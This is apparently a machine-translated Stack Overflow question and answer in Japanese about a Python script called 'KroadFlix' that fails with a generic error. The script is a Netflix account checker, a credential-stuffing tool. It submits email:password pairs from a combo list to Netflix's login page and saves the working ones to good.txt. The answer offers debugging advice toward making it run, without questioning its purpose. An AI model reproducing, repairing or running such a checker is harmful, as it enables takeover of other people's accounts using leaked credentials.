-1

このコードをオンラインで見つけ、パッチを当てるために最善を尽くしました。このプログラムの何が問題なのかわかりません。このコードは、Netflix アカウントを受け取り、有効なアカウントを出力します。

import mechanize
import sys
import time
from colorama import init, Fore, Style
init()

header = Fore.CYAN + """


    __ __                      ___________     
   / //_/_________  ____ _____/ / ____/ (_)  __
  / ,<  / ___/ __ \/ __ `/ __  / /_  / / / |/_/
 / /| |/ /  / /_/ / /_/ / /_/ / __/ / / />  <  
/_/ |_/_/   \____/\__,_/\__,_/_/   /_/_/_/|_|  
                                               


""" 
Fore.LIGHTGREEN_EX
user = input('Enter Your Name: ')
print Fore.LIGHTGREEN_EX + 'Welcome' , user , 'in KroadFlix'

print (header)
time.sleep(2)
accex=0
accno=0

accPass=[]
outfile = open('good.txt', 'w')


br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
try:
    with open('combo.txt', "r") as filestream:
        for line in filestream:
            br.open('https://www.netflix.com/Login?locale=es-CL')
            currentline = line.split(':')
            br.select_form(nr=0)
            br.form['email'] = currentline[0]
            br.form['password'] = currentline[1]
            print (Fore.YELLOW + 'Checking: '+br.form['email'])
            response = br.submit()
            if response.geturl()=='http://www.netflix.com/browse':
                print (Fore.GREEN + '[+]Account is working!')
                accex = accex + 1
                br.open('http://www.netflix.com/SignOut?lnkctr=mL')
                accPass.append(currentline[0]+':'+currentline[1])
            else:
                print (Fore.RED + '[-]Account is not working!')
                accno = accno + 1
                
    print ('Saving Good Accounts Into txt..')
    for all in accPass:
        print (all)
        outfile.write(str(all)+'\n')
except:
    print ('ERROR..')
    print ('Check if your combo named as combo.txt')
    for all in accPass:
        outfile.write(str(all)+'\n')
    
print (Fore.GREEN + 'Active Accounts: ' + str(accex))
print (Fore.RED + 'Bad Accounts: ' + str(accno))

これは、出力されるエラーです。

ERROR..
Check if your combo named as combo.txt
Active Accounts: 0
Bad Accounts: 0

ディレクトリにcombo.txtというファイルがあるので、ここで何が問題なのかわかりません

4

1 に答える 1

1

著者は、適用できない場合でも、考えられるすべての失敗に対して単一の定型メッセージを表示するため、「明確な理由はありません」。たとえば、ファイルを正常に開いた後でも、そのファイルがあることを確認することをお勧めします。

少なくとも、例外ハンドラーは例外メッセージを表示する必要があります。しかし、これは Python であるため、自分で簡単に行うことができます。

私のお金は「br.open()」呼び出しの失敗にあります。

于 2020-07-28T21:32:46.190 に答える